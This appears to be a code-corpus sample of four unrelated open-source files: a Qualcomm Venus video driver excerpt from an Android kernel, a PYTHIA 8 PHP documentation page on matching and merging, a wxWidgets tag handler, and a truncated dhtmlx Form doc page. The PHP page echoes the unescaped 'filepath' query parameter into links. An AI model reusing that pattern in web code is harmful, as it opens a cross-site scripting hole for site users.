dev; if (!device || !device->gdsc) { dprintk(VIDC_ERR, "%s Invalid paramter: %p\n", __func__, device); return -EINVAL; } mutex_init(&device->clk_pwr_lock); device->clk_gating_level = VCODEC_CLK; rc = venus_hfi_iommu_attach(device); if (rc) { dprintk(VIDC_ERR, "Failed to attach iommu"); goto fail_iommu_attach; } mutex_lock(&device->clk_pwr_lock); if (!device->resources.fw.cookie) { rc = regulator_enable(device->gdsc); if (rc) { dprintk(VIDC_ERR, "Failed to enable GDSC %d", rc); mutex_unlock(&device->clk_pwr_lock); goto fail_enable_gdsc; } device->resources.fw.cookie = subsystem_get("venus"); } if (IS_ERR_OR_NULL(device->resources.fw.cookie)) { dprintk(VIDC_ERR, "Failed to download firmware\n"); rc = -ENOMEM; mutex_unlock(&device->clk_pwr_lock); goto fail_load_fw; } device->power_enabled = 1; ++device->pwr_cnt; mutex_unlock(&device->clk_pwr_lock); /*Clocks can be enabled only after pil_get since * gdsc is turned-on in pil_get*/ rc = venus_hfi_enable_clks(device); if (rc) { dprintk(VIDC_ERR, "Failed to enable clocks: %d\n", rc); goto fail_enable_clks; } rc = protect_cp_mem(device); if (rc) { dprintk(VIDC_ERR, "Failed to protect memory\n"); goto fail_protect_mem; } return rc; fail_protect_mem: venus_hfi_disable_clks(device); fail_enable_clks: subsystem_put(device->resources.fw.cookie); fail_load_fw: mutex_lock(&device->clk_pwr_lock); device->resources.fw.cookie = NULL; regulator_disable(device->gdsc); device->power_enabled = 0; --device->pwr_cnt; mutex_unlock(&device->clk_pwr_lock); fail_enable_gdsc: venus_hfi_iommu_detach(device); fail_iommu_attach: return rc; } static void venus_hfi_unload_fw(void *dev) { struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "%s Invalid paramter: %p\n", __func__, device); return; } if (device->resources.fw.cookie) { flush_workqueue(device->vidc_workq); flush_workqueue(device->venus_pm_workq); subsystem_put(device->resources.fw.cookie); venus_hfi_interface_queues_release(dev); /* IOMMU operations need to be done before AXI halt.*/ venus_hfi_iommu_detach(device); /* Halt the AXI to make sure there are no pending transactions. * Clocks should be unprepared after making sure axi is halted. */ if(venus_hfi_halt_axi(device)) dprintk(VIDC_WARN, "Failed to halt AXI\n"); venus_hfi_disable_clks(device); mutex_lock(&device->clk_pwr_lock); regulator_disable(device->gdsc); device->power_enabled = 0; --device->pwr_cnt; mutex_unlock(&device->clk_pwr_lock); device->resources.fw.cookie = NULL; } } static int venus_hfi_get_fw_info(void *dev, enum fw_info info) { int rc = 0; struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "%s Invalid paramter: %p\n", __func__, device); return -EINVAL; } switch (info) { case FW_BASE_ADDRESS: rc = device->base_addr; break; case FW_REGISTER_BASE: rc = device->register_base; break; case FW_REGISTER_SIZE: rc = device->register_size; break; case FW_IRQ: rc = device->irq; break; default: dprintk(VIDC_ERR, "Invalid fw info requested"); } return rc; } static int venus_hfi_get_info(void *dev, enum dev_info info) { int rc = 0; struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "%s Invalid parameter: %p\n", __func__, device); return -EINVAL; } mutex_lock(&device->clk_pwr_lock); switch (info) { case DEV_CLOCK_COUNT: rc = device->clk_cnt; break; case DEV_CLOCK_ENABLED: rc = device->clocks_enabled; break; case DEV_PWR_COUNT: rc = device->pwr_cnt; break; case DEV_PWR_ENABLED: rc = device->power_enabled; break; default: dprintk(VIDC_ERR, "Invalid device info requested"); } mutex_unlock(&device->clk_pwr_lock); return rc; } int venus_hfi_get_stride_scanline(int color_fmt, int width, int height, int *stride, int *scanlines) { *stride = VENUS_Y_STRIDE(color_fmt, width); *scanlines = VENUS_Y_SCANLINES(color_fmt, height); return 0; } int venus_hfi_get_core_capabilities(void) { int i = 0, rc = 0, j = 0, venus_version_length = 0; u32 smem_block_size = 0; u8 *smem_table_ptr; char version[256]; const u32 version_string_size = 128; char venus_version[] = "VIDEO.VE.1.4"; u8 version_info[256]; const u32 smem_image_index_venus = 14 * 128; /* Venus version is stored at 14th entry in smem table */ smem_table_ptr = smem_get_entry(SMEM_IMAGE_VERSION_TABLE, &smem_block_size); if (smem_table_ptr && ((smem_image_index_venus + version_string_size) <= smem_block_size)) { memcpy(version_info, smem_table_ptr + smem_image_index_venus, version_string_size); } else { dprintk(VIDC_ERR, "%s: failed to read version info from smem table\n", __func__); return -EINVAL; } while (version_info[i++] != 'V' && i < version_string_size) ; venus_version_length = strlen(venus_version); for (i--, j = 0; i < version_string_size && j < venus_version_length; i++) version[j++] = version_info[i]; version[venus_version_length] = '\0'; dprintk(VIDC_DBG, "F/W version retrieved : %s\n", version); if (strcmp((const char *)version, (const char *)venus_version) == 0) rc = HAL_VIDEO_ENCODER_ROTATION_CAPABILITY | HAL_VIDEO_ENCODER_SCALING_CAPABILITY | HAL_VIDEO_ENCODER_DEINTERLACE_CAPABILITY | HAL_VIDEO_DECODER_MULTI_STREAM_CAPABILITY; return rc; } int venus_hfi_capability_check(u32 fourcc, u32 width, u32 *max_width, u32 *max_height) { int rc = 0; if (!max_width || !max_height) { dprintk(VIDC_ERR, "%s - invalid parameter\n", __func__); return -EINVAL; } if (msm_vp8_low_tier && fourcc == V4L2_PIX_FMT_VP8) { *max_width = DEFAULT_WIDTH; *max_height = DEFAULT_HEIGHT; } if (width > *max_width) { dprintk(VIDC_ERR, "Unsupported width = %u supported max width = %u", width, *max_width); rc = -ENOTSUPP; } return rc; } static void *venus_hfi_add_device(u32 device_id, struct msm_vidc_platform_resources *res, hfi_cmd_response_callback callback) { struct venus_hfi_device *hdevice = NULL; int rc = 0; if (device_id || !res || !callback) { dprintk(VIDC_ERR, "Invalid Paramters"); return NULL; } dprintk(VIDC_INFO, "entered , device_id: %d", device_id); hdevice = (struct venus_hfi_device *) kzalloc(sizeof(struct venus_hfi_device), GFP_KERNEL); if (!hdevice) { dprintk(VIDC_ERR, "failed to allocate new device"); goto err_alloc; } rc = venus_hfi_init_regs_and_interrupts(hdevice, res); if (rc) goto err_init_regs; hdevice->device_id = device_id; hdevice->callback = callback; hdevice->clocks_enabled = 0; hdevice->clk_cnt = 0; hdevice->power_enabled = 0; hdevice->pwr_cnt = 0; hdevice->vidc_workq = create_singlethread_workqueue( "msm_vidc_workerq_venus"); if (!hdevice->vidc_workq) { dprintk(VIDC_ERR, ": create vidc workq failed\n"); goto error_createq; } hdevice->venus_pm_workq = create_singlethread_workqueue( "pm_workerq_venus"); if (!hdevice->venus_pm_workq) { dprintk(VIDC_ERR, ": create pm workq failed\n"); goto error_createq_pm; } if (hal_ctxt.dev_count == 0) INIT_LIST_HEAD(&hal_ctxt.dev_head); INIT_LIST_HEAD(&hdevice->list); list_add_tail(&hdevice->list, &hal_ctxt.dev_head); hal_ctxt.dev_count++; return (void *) hdevice; error_createq_pm: destroy_workqueue(hdevice->vidc_workq); error_createq: err_init_regs: kfree(hdevice); err_alloc: return NULL; } static void *venus_hfi_get_device(u32 device_id, struct msm_vidc_platform_resources *res, hfi_cmd_response_callback callback) { struct venus_hfi_device *device; int rc = 0; if (!res || !callback) { dprintk(VIDC_ERR, "Invalid params: %p %p\n", res, callback); return NULL; } device = venus_hfi_add_device(device_id, res, &handle_cmd_response); if (!device) { dprintk(VIDC_ERR, "Failed to create HFI device\n"); return NULL; } rc = venus_hfi_init_resources(device, res); if (rc) { dprintk(VIDC_ERR, "Failed to init resources: %d\n", rc); goto err_fail_init_res; } return device; err_fail_init_res: venus_hfi_delete_device(device); return NULL; } void venus_hfi_delete_device(void *device) { struct venus_hfi_device *close, *tmp, *dev; if (device) { venus_hfi_deinit_resources(device); dev = (struct venus_hfi_device *) device; list_for_each_entry_safe(close, tmp, &hal_ctxt.dev_head, list) { if (close->hal_data->irq == dev->hal_data->irq) { hal_ctxt.dev_count--; free_irq(dev->hal_data->irq, close); list_del(&close->list); destroy_workqueue(close->vidc_workq); destroy_workqueue(close->venus_pm_workq); kfree(close->hal_data); kfree(close); break; } } } } static void venus_init_hfi_callbacks(struct hfi_device *hdev) { hdev->core_init = venus_hfi_core_init; hdev->core_release = venus_hfi_core_release; hdev->core_pc_prep = venus_hfi_core_pc_prep; hdev->core_ping = venus_hfi_core_ping; hdev->core_trigger_ssr = venus_hfi_core_trigger_ssr; hdev->session_init = venus_hfi_session_init; hdev->session_end = venus_hfi_session_end; hdev->session_abort = venus_hfi_session_abort; hdev->session_clean = venus_hfi_session_clean; hdev->session_set_buffers = venus_hfi_session_set_buffers; hdev->session_release_buffers = venus_hfi_session_release_buffers; hdev->session_load_res = venus_hfi_session_load_res; hdev->session_release_res = venus_hfi_session_release_res; hdev->session_start = venus_hfi_session_start; hdev->session_stop = venus_hfi_session_stop; hdev->session_suspend = venus_hfi_session_suspend; hdev->session_resume = venus_hfi_session_resume; hdev->session_etb = venus_hfi_session_etb; hdev->session_ftb = venus_hfi_session_ftb; hdev->session_parse_seq_hdr = venus_hfi_session_parse_seq_hdr; hdev->session_get_seq_hdr = venus_hfi_session_get_seq_hdr; hdev->session_get_buf_req = venus_hfi_session_get_buf_req; hdev->session_flush = venus_hfi_session_flush; hdev->session_set_property = venus_hfi_session_set_property; hdev->session_get_property = venus_hfi_session_get_property; hdev->scale_clocks = venus_hfi_scale_clocks; hdev->scale_bus = venus_hfi_scale_bus; hdev->unvote_bus = venus_hfi_unvote_bus; hdev->unset_ocmem = venus_hfi_unset_ocmem; hdev->alloc_ocmem = venus_hfi_alloc_ocmem; hdev->free_ocmem = venus_hfi_free_ocmem; hdev->iommu_get_domain_partition = venus_hfi_iommu_get_domain_partition; hdev->load_fw = venus_hfi_load_fw; hdev->unload_fw = venus_hfi_unload_fw; hdev->get_fw_info = venus_hfi_get_fw_info; hdev->get_info = venus_hfi_get_info; hdev->get_stride_scanline = venus_hfi_get_stride_scanline; hdev->capability_check = venus_hfi_capability_check; hdev->get_core_capabilities = venus_hfi_get_core_capabilities; hdev->power_enable = venus_hfi_power_enable; } int venus_hfi_initialize(struct hfi_device *hdev, u32 device_id, struct msm_vidc_platform_resources *res, hfi_cmd_response_callback callback) { int rc = 0; if (!hdev || !res || !callback) { dprintk(VIDC_ERR, "Invalid params: %p %p %p\n", hdev, res, callback); rc = -EINVAL; goto err_venus_hfi_init; } hdev->hfi_device_data = venus_hfi_get_device(device_id, res, callback); venus_init_hfi_callbacks(hdev); err_venus_hfi_init: return rc; }
hunter3k/android_kernel_lge_d315
drivers/media/platform/msm/vidc/venus_hfi.c
C
gpl-2.0
96,687
<html> <head> <title>Matching and Merging</title> <link rel="stylesheet" type="text/css" href="pythia.css"/> <link rel="shortcut icon" href="pythia32.gif"/> </head> <body> <script language=javascript type=text/javascript> function stopRKey(evt) { var evt = (evt) ? evt : ((event) ? event : null); var node = (evt.target) ? evt.target :((evt.srcElement) ? evt.srcElement : null); if ((evt.keyCode == 13) && (node.type=="text")) {return false;} } document.onkeypress = stopRKey; </script> <?php if($_POST['saved'] == 1) { if($_POST['filepath'] != "files/") { echo "<font color='red'>SETTINGS SAVED TO FILE</font><br/><br/>"; } else { echo "<font color='red'>NO FILE SELECTED YET.. PLEASE DO SO </font><a href='SaveSettings.php'>HERE</a><br/><br/>"; } } ?> <form method='post' action='MatchingAndMerging.php'> <h2>Matching and Merging</h2> Starting from a Born-level leading-order (LO) process, higher orders can be included in various ways. The three basic approaches would be <ul> <li>A formal order-by-order perturbative calculation, in each order higher including graphs both with one particle more in the final state and with one loop more in the intermediate state. This is accurate to the order of the calculation, but gives no hint of event structures beyond that, with more particles in the final state. Today next-to-leading order (NLO) is standard, while next-to-next-to-leading order (NNLO) is coming. This approach thus is limited to few orders, and also breaks down in soft and collinear regions, which makes it unsuitable for matching to hadronization. </li> <li>Real emissions to several higher orders, but neglecting the virtual/loop corrections that should go with it at any given order. Thereby it is possible to allow for topologies with a large and varying number of partons, at the prize of not being accurate to any particular order. The approach also opens up for doublecounting, and as above breaks down in soft and colliner regions. </li> <li>The parton shower provides an approximation to higher orders, both real and virtual contributions for the emission of arbitrarily many particles. As such it is less accurate than either of the two above, at least for topologies of well separated partons, but it contains a physically sensible behaviour in the soft and collinear limits, and therefore matches well onto the hadronization stage. </li> </ul> Given the pros and cons, much of the effort in recent years has involved the development of different prescriptions to combine the methods above in various ways. <p/> The common traits of all combination methods are that matrix elements are used to describe the production of hard and well separated particles, and parton showers for the production of soft or collinear particles. What differs between the various approaches that have been proposed are which matrix elements are being used, how doublecounting is avoided, and how the transition from the hard to the soft regime is handled. These combination methods are typically referred to as "matching" or "merging" algorithms. There is some confusion about the distinction between the two terms, and so we leave it to the inventor/implementor of a particular scheme to choose and motivate the name given to that scheme. <p/> PYTHIA comes with methods, to be described next, that implement or support several different kind of algorithms. The field is open-ended, however: any external program can feed in <?php $filepath = $_GET["filepath"]; echo "<a href='LesHouchesAccord.php?filepath=".$filepath."' target='page'>";?>Les Houches events</a> that PYTHIA subsequently showers, adds multiparton interactions to, and hadronizes. These events afterwards can be reweighted and combined in any desired way. The maximum <i>pT</i> of the shower evolution is set by the Les Houches <code>scale</code>, on the one hand, and by the values of the <code>SpaceShower:pTmaxMatch</code>, <code>TimeShower:pTmaxMatch</code> and other parton-shower settings, on the other. Typically it is not possible to achieve perfect matching this way, given that the PYTHIA <i>pT</i> evolution variables are not likely to agree with the variables used for cuts in the external program. Often one can get close enough with simple means but, for an improved matching, <?php $filepath = $_GET["filepath"]; echo "<a href='UserHooks.php?filepath=".$filepath."' target='page'>";?>User Hooks</a> can be inserted to control the steps taken on the way, e.g. to veto those parton shower branchings that would doublecount emissions included in the matrix elements. <p/> Zooming in from the "anything goes" perspective, the list of relevent approaches actively supported is as follows. <ul> <li>For many/most resonance decays the first branching in the shower is merged with first-order matrix elements [<a href="Bibliography.php" target="page">Ben87, Nor01</a>]. This means that the emission rate is accurate to NLO, similarly to the POWHEG strategy (see below), but built into the <?php $filepath = $_GET["filepath"]; echo "<a href='TimelikeShowers.php?filepath=".$filepath."' target='page'>";?>timelike showers</a>. The angular orientation of the event after the first emission is only handled by the parton shower kinematics, however. Needless to say, this formalism is precisely what is tested by <i>Z^0</i> decays at LEP1, and it is known to do a pretty good job there. </li> <li>Also the <?php $filepath = $_GET["filepath"]; echo "<a href='SpacelikeShowers.php?filepath=".$filepath."' target='page'>";?>spacelike showers</a> contain a correction to first-order matrix elements, but only for the one-body-final-state processes <i>q qbar &rarr; gamma^*/Z^0/W^+-/h^0/H^0/A0/Z'0/W'+-/R0</i> [<a href="Bibliography.php" target="page">Miu99</a>] and <i>g g &rarr; h^0/H^0/A0</i>, and only to leading order. That is, it is equivalent to the POWHEG formalism for the real emission, but the prefactor "cross section normalization" is LO rather than NLO. Therefore this framework is less relevant, and has been superseded the following ones. </li> <li>The POWHEG strategy [<a href="Bibliography.php" target="page">Nas04</a>] provides a cross section accurate to NLO. The hardest emission is constructed with unit probability, based on the ratio of the real-emission matrix element to the Born-level cross section, and with a Sudakov factor derived from this ratio, i.e. the philosophy introduced in [<a href="Bibliography.php" target="page">Ben87</a>]. <br/>While POWHEG is a generic strategy, the POWHEG BOX [<a href="Bibliography.php" target="page">Ali10</a>] is an explicit framework, within which several processes are available. The code required for merging the PYTHIA showers with POWHEG input can be found in <code>include/Pythia8Plugins/PowHegHooks.h</code>, and is further described on a <?php $filepath = $_GET["filepath"]; echo "<a href='POWHEGMerging.php?filepath=".$filepath."' target='page'>";?>separate page</a>. A user example is found in <code>examples/main31</code>. </li> <li>The other traditional approach for NLO calculations is the MC@NLO one [<a href="Bibliography.php" target="page">Fri02</a>]. In it the shower emission probability, without its Sudakov factor, is subtracted from the real-emission matrix element to regularize divergences. It therefore requires a analytic knowledge of the way the shower populates phase space. The aMC@NLO package [<a href="Bibliography.php" target="page">Fre11</a>] offers an implementation for PYTHIA 8, developed by Paolo Torrielli and Stefano Frixione. The global-recoil option of the PYTHIA final-state shower has been constructed to be used for the above-mentioned subtraction. </li> <li>Multi-jet merging in the CKKW-L approach [<a href="Bibliography.php" target="page">Lon01</a>] is directly available. Its implementation, relevant parameters and test programs are documented on a <?php $filepath = $_GET["filepath"]; echo "<a href='CKKWLMerging.php?filepath=".$filepath."' target='page'>";?>separate page</a>. </li> <li>Multi-jet matching in the MLM approach [<a href="Bibliography.php" target="page">Man02, Man07</a>] is also available, either based on the ALPGEN or on the Madgraph variant, and with input events either from ALPGEN or from Madgraph. For details see <?php $filepath = $_GET["filepath"]; echo "<a href='JetMatching.php?filepath=".$filepath."' target='page'>";?>separate page</a>. </li> <li>Unitarised matrix element + parton shower merging (UMEPS) is directly available. Its implementation, relevant parameters and test programs are documented on a <?php $filepath = $_GET["filepath"]; echo "<a href='UMEPSMerging.php?filepath=".$filepath."' target='page'>";?>separate page</a>. </li> <li>Next-to-leading order multi-jet merging (in the NL3 and UNLOPS approaches) is directly available. Its implementation, relevant parameters and test programs are documented on a <?php $filepath = $_GET["filepath"]; echo "<a href='NLOMerging.php?filepath=".$filepath."' target='page'>";?>separate page</a>. </li> <li>Next-to-leading order jet matching in the FxFx approach is also available. For details see <?php $filepath = $_GET["filepath"]; echo "<a href='JetMatching.php?filepath=".$filepath."' target='page'>";?>separate page</a>. </li> </ul> <br/><br/><hr/> <h3>MC@NLO, jet matching, multi-jet merging and NLO merging with main89.cc</h3> A common Pythia main program for MC@NLO NLO+PS matching, MLM jet matching, FxFx (NLO) jet matching, CKKW-L merging, UMEPS merging and UNLOPS (NLO) merging is available through <code>main89.cc</code>, together with the input files <code>main89mlm.cmnd</code>, <code>main89fxfx.cmnd</code>, <code>main89ckkwl.cmnd</code>, <code>main89umeps.cmnd</code> and <code>main89unlops.cmnd</code>. The interface to MLM jet matching relies on MadGraph, while all other options of <code>main89.cc</code> use aMC@NLO input. <code>main89.cc</code> produces HepMC events [<a href="Bibliography.php" target="page">Dob01</a>], that can be histogrammed (e.g. using RIVET [<a href="Bibliography.php" target="page">Buc10</a>]), or used as input for a detector simulation. If the user is not familiar with HepMC analysis tools, it is possible to instead use Pythia's histogramming routines. For this, remove the lines referring to HepMC, and histogram events as illustrated (for CKKW-L) for the histogram <i>histPTFirstSum</i> in <code>main84.cc</code>, i.e. using <i>weight*normhepmc</i> as weight. <p/> All settings can be transferred to <code>main89.cc</code> through an input file. The input file is part of the command line input of <code>main89.cc</code>, i.e. you can execute <code>main89</code> with the command </p> <code>./main89 myInputFile.cmnd myhepmc.hepmc</code> </p> to read the input <code>myInputFile.cmnd</code> and produce the output file <code>myhepmc.hepmc</code> . Since <code>main89.cc</code> is currently a "front-end" for different types of matching/merging, we will briefly discuss the inputs for this sample program in the following. <h4>Inputs</h4> In its current form, <code>main89.cc</code> uses LHEF input to transfer (weighted) phase space points to Pythia. It is possible to include all parton multiplicities in one LHEF sample. If e.g. UMEPS merging for W-boson + up to two additional partons is to be performed, one LHE file containing W+zero, W+one and W+two parton events is required. <p/> All input settings are handed to <code>main89.cc</code> in the form of an input file. We have included the input settings files <p/> &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; <code>main89mlm.cmnd</code>, which illustrates the MLM jet matching interface, <p/> &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; <code>main89ckkwl.cmnd</code>, which illustrates the CKKW-L multi-jet merging interface, <p/> &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; <code>main89umeps.cmnd</code>, which illustrates the UMEPS multi-jet merging interface, and <p/> &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; <code>main89fxfx.cmnd</code>, which illustrates the FxFx NLO jet matching interface, <p/> &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; <code>main89unlops.cmnd</code>, which illustrates the UNLOPS multi-jet NLO merging interface. <p/> Other settings (e.g. using <code>main89.cc</code> as simple LO+PS or as MC@NLO interface) are of course possible. In the following, we will briefly explain how input for the five choices above are generated and handled. <h4>MLM jet matching with main89.cc</h4> For MLM jet matching, <code>main89.cc</code> currently relies on LHEF input from MadGraph. Due to the particular unweighting strategy performed in the generation of these inputs, the sample program starts by estimating the cross section. After this estimate, MLM jet matching within the Madgraph approach is performed in a second Pythia run. Example MLM settings can be found in <code>main89mlm.cmnd</code>. Please consult <?php $filepath = $_GET["filepath"]; echo "<a href='JetMatching.php?filepath=".$filepath."' target='page'>";?>Jet Matching</a> for more details. <h4>CKKW-L merging with main89.cc</h4> For CKKW-L merging, <code>main89.cc</code> currently relies on LHEF inputs generated with the leading-order mode of aMC@NLO (i.e. events should be generated with <code>./bin/generate_events aMC@LO</code>). No run to estimate the cross section estimate is needed. Example CKKW-L settings can be found in <code>main89ckkwl.cmnd</code>. Please consult <?php $filepath = $_GET["filepath"]; echo "<a href='CKKWLMerging.php?filepath=".$filepath."' target='page'>";?>CKKW-L merging</a> for more details. <h4>UMEPS merging with main89.cc</h4> For UMEPS merging, <code>main89.cc</code> currently relies on LHEF inputs generated with the leading-order mode of aMC@NLO as well (see above). <code>main89.cc</code> automatically assigns if an event will be used as "standard" event or as "subtractive" contribution. Example UMEPS settings can be found in <code>main89umeps.cmnd</code>. Please consult <?php $filepath = $_GET["filepath"]; echo "<a href='UMEPSMerging.php?filepath=".$filepath."' target='page'>";?>UMEPS merging</a> and <?php $filepath = $_GET["filepath"]; echo "<a href='CKKWLMerging.php?filepath=".$filepath."' target='page'>";?>CKKW-L merging</a> for more details. <h4>FxFx (NLO) jet matching with main89.cc</h4> For FxFx jet matching, <code>main89.cc</code> relies on MC@NLO input LHE files generated with aMC@NLO. To produce FxFx outputs in aMC@NLO, the settings <code>PYTHIA8 = parton_shower</code>, <code>3 = ickkw</code> and <code>x = ptj</code> are necessary in your aMC@NLO run card. Here, <code>x</code> is the value of the matching scale in FxFx, i.e. has be identical to <code>JetMatching:qCutME</code> in the Pythia inputs. Example FxFx settings for Pythia can be found in <code>main89fxfx.cmnd</code>. Please consult <?php $filepath = $_GET["filepath"]; echo "<a href='JetMatching.php?filepath=".$filepath."' target='page'>";?>Jet Matching</a> and <?php $filepath = $_GET["filepath"]; echo "<a href='aMCatNLOMatching.php?filepath=".$filepath."' target='page'>";?>aMC@NLO matching</a> for more details. <h4>UNLOPS (NLO) merging with main89.cc</h4> For UNLOPS merging, <code>main89.cc</code> currently relies on LHEF inputs generated with the aMC@NLO. The UNLOPS interface in <code>main89.cc</code> requires a) leading-order inputs generated with the leading-order mode of aMC@NLO, using the UNLOPS prescription, and b) next-to-leading-order inputs generated with the NLO mode of aMC@NLO, using the UNLOPS prescription. To produce UNLOPS outputs in aMC@NLO, the settings <code>PYTHIA8 = parton_shower</code>, <code>4 = ickkw</code> and <code>x = ptj</code> are necessary in your aMC@NLO run card. Here, <code>x</code> is the value of the merging scale in UNLOPS, i.e. has be identical to <code>Merging:TMS</code> in the Pythia inputs. <code>main89.cc</code> will then process NLO inputs and LO inputs consecutively, and will automatically assign if an event will be used as "standard" event or as "subtractive" contribution. Example UNLOPS settings can be found in <code>main89umeps.cmnd</code>. Please consult <?php $filepath = $_GET["filepath"]; echo "<a href='UNLOPSMerging.php?filepath=".$filepath."' target='page'>";?>UMEPS merging</a> and <?php $filepath = $_GET["filepath"]; echo "<a href='CKKWLMerging.php?filepath=".$filepath."' target='page'>";?>CKKW-L merging</a> for more details. </body> </html> <!-- Copyright (C) 2016 Torbjorn Sjostrand -->
smrenna/pythia8g
share/Pythia8/phpdoc/MatchingAndMerging.php
PHP
gpl-2.0
16,640
// Copyright (C) 2006 NISHIMURA Tsuyoshi // License: GPL v2 or (at your option) any later version /** @file * * ƒJƒXƒ^ƒ€ƒ^ƒO‚̃nƒ“ƒhƒ‰ * * $Date: 2007/03/25 16:17:14 $ */ #include <wx/html/m_templ.h> #include <wx/html/htmlwin.h> #include <wx/string.h> #include <wx/statbmp.h> #include "DicShare.h" TAG_HANDLER_BEGIN(INDENT, "INDENT") TAG_HANDLER_PROC(tag) { if (!tag.HasParam(wxT("width"))) { return false; } int width; tag.GetParamAsInt(wxT("width"), &width); m_WParser->GetContainer()->SetIndent( width * m_WParser->GetCharWidth() * 2, wxHTML_INDENT_LEFT); return false; } TAG_HANDLER_END(INDENT) TAG_HANDLER_BEGIN(EXTCHAR, "EXTCHAR") TAG_HANDLER_PROC(tag) { if (!tag.HasParam(wxT("key"))) { return false; } wxString key = tag.GetParam(wxT("key")); DicBitmaps& bitmaps = DicShare::bitmaps; DicBitmaps::iterator it = bitmaps.find(key); if (it == bitmaps.end()) { return false; } wxWindow* wnd = new wxStaticBitmap( (wxWindow*)m_WParser->GetWindowInterface()->GetHTMLWindow(), -1, *it->second); // wnd->Show(true); m_WParser->GetContainer()->InsertCell(new wxHtmlWidgetCell(wnd)); return false; } TAG_HANDLER_END(EXTCHAR) TAG_HANDLER_BEGIN(GRAPH, "GRAPH") TAG_HANDLER_PROC(tag) { if (!tag.HasParam(wxT("key"))) { return false; } wxString key = tag.GetParam(wxT("key")); DicBitmaps& bitmaps = DicShare::bitmaps; DicBitmaps::iterator it = bitmaps.find(key); if (it == bitmaps.end()) { return false; } wxWindow* wnd = new wxStaticBitmap( (wxWindow*)m_WParser->GetWindowInterface()->GetHTMLWindow(), -1, *it->second); // wnd->Show(true); m_WParser->GetContainer()->InsertCell(new wxHtmlWidgetCell(wnd)); return false; } TAG_HANDLER_END(GRAPH) TAGS_MODULE_BEGIN(DicCustomTag) TAGS_MODULE_ADD(INDENT) TAGS_MODULE_ADD(EXTCHAR) TAGS_MODULE_ADD(GRAPH) TAGS_MODULE_END(DicCustomTag)
fujii/digdic
DicCustomTag.cpp
C++
gpl-2.0
1,901
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><link rel="stylesheet" href="../codebase/default.css" type="text/css" media="screen" title="no title" charset="utf-8"><title> dhtmlxform:event_onuploadcomplete [DHX documentation] </title></head> <body> <div class="dokuwiki"> <div class="stylehead"> <div class="header"> <a class="logo" href="http://dhtmlx.com" title="DHTMLX Home Page"></a> <span class="tittle-dhtmlx">DHTMLX Docs & Samples Explorer</span> <div class="search-field"> <form action="/dhtmlx/docs/doku.php" accept-charset="utf-8" id="dw__search"><div class="no"><input type="hidden" name="do" value="search" /><input type="text" id="qsearch__in" accesskey="f" name="id" title="Search" /><button type="submit"></button><div id="qsearch__out" class="ajax_qsearch JSpopup"></div></div></form> </div> <div class="buttons"> <a class="doc"></a> <a title="DHTMLX Samples homepage" href="../samples.html" class="sample"/></a> </div> <!-- <div class="pagename"> [[<a href="#" title="Backlinks">dhtmlxform:event_onuploadcomplete</a>]] </div> <div class="logo"> <a href="/dhtmlx/docs/doku.php" name="dokuwiki__top" id="dokuwiki__top" accesskey="h" title="[H]">DHX documentation</a> </div> <div class="clearer"></div>--> </div> <!-- <div class="bar" id="bar__top"> <div class="bar-left" id="bar__topleft"> <form class="button btn_edit" method="post" action="/dhtmlx/docs/doku.php"><div class="no"><input type="hidden" name="do" value="edit" /><input type="hidden" name="rev" value="" /><input type="hidden" name="id" value="dhtmlxform:event_onuploadcomplete" /><input type="submit" value="Edit this page" class="button" accesskey="e" title="Edit this page [E]" /></div></form> <form class="button btn_revs" method="get" action="/dhtmlx/docs/doku.php"><div class="no"><input type="hidden" name="do" value="revisions" /><input type="hidden" name="id" value="dhtmlxform:event_onuploadcomplete" /><input type="submit" value="Old revisions" class="button" accesskey="o" title="Old revisions [O]" /></div></form> </div> <div class="bar-right" id="bar__topright"> <form class="button btn_recent" method="get" action="/dhtmlx/docs/doku.php"><div class="no"><input type="hidden" name="do" value="recent" /><input type="hidden" name="id" value="dhtmlxform:event_onuploadcomplete" /><input type="submit" value="Recent changes" class="button" accesskey="r" title="Recent changes [R]" /></div></form> <form action="/dhtmlx/docs/doku.php" accept-charset="utf-8" id="dw__search"><div class="no"><input type="hidden" name="do" value="search" /><input type="text" id="qsearch__in" accesskey="f" name="id" title="Search" /><button type="submit"></button><div id="qsearch__out" class="ajax_qsearch JSpopup"></div></div></form>&nbsp; </div> <div class="clearer"></div> </div> --> <!-- <div class="breadcrumbs"> <span class="bchead">Trace:</span> <span class="bcsep">&raquo;</span> <span class="curid"><a href="/dhtmlx/docs/doku.php?id=dhtmlxform:event_onuploadcomplete" class="breadcrumbs" title="dhtmlxform:event_onuploadcomplete">event_onuploadcomplete</a></span> </div> --> </div> <div class="page"> <!-- wikipage start --> <p> <div class='backlinks'><div class='backlink last_backlink'><img src="icons___file.gif" class="media" alt="" /><a href="../index.html" class="wikilink1" title="start">Index</a></div><div class='arrow'></div><div class='backlink last_backlink'><a href="/dhtmlx/docs/doku.php?id=dhtmlxform:toc" class="media" title="dhtmlxform:toc"></a><a href=index.html class="wikilink1" title="dhtmlxform:toc">Form</a></div><div class='arrow'></div><div class='backlink'><a href="dhtmlxform___api_events_form.html" class="wikilink1" title="dhtmlxform:api_events_form">Events</a></div></div> </p> <h1><a name="onuploadcomplete" id="onuploadcomplete">onUploadComplete</a></h1> <div class="level1"> <p> Occurs when all files from the list were uploaded to the server. </p> <p> <strong>Parameters:</strong> </p> <ul> <li class="level1"><div class="li"> count - the number of uploaded files</div> </li> </ul> <pre class="code javascript">myform.<span class="me1">attachEvent</span><span class="br0">&#40;</span><span class="st0">&quot;onUploadComplete&quot;</span><span class="sy0">,</span><span class="kw2">function</span><span class="br0">&#40;</span>count<span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1">//any custom logic here</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;</pre> </div> <div class="secedit"><form class="button btn_secedit" method="post" action="/dhtmlx/docs/doku.php"><div class="no"><input type="hidden" name="do" value="edit" /><input type="hidden" name="lines" 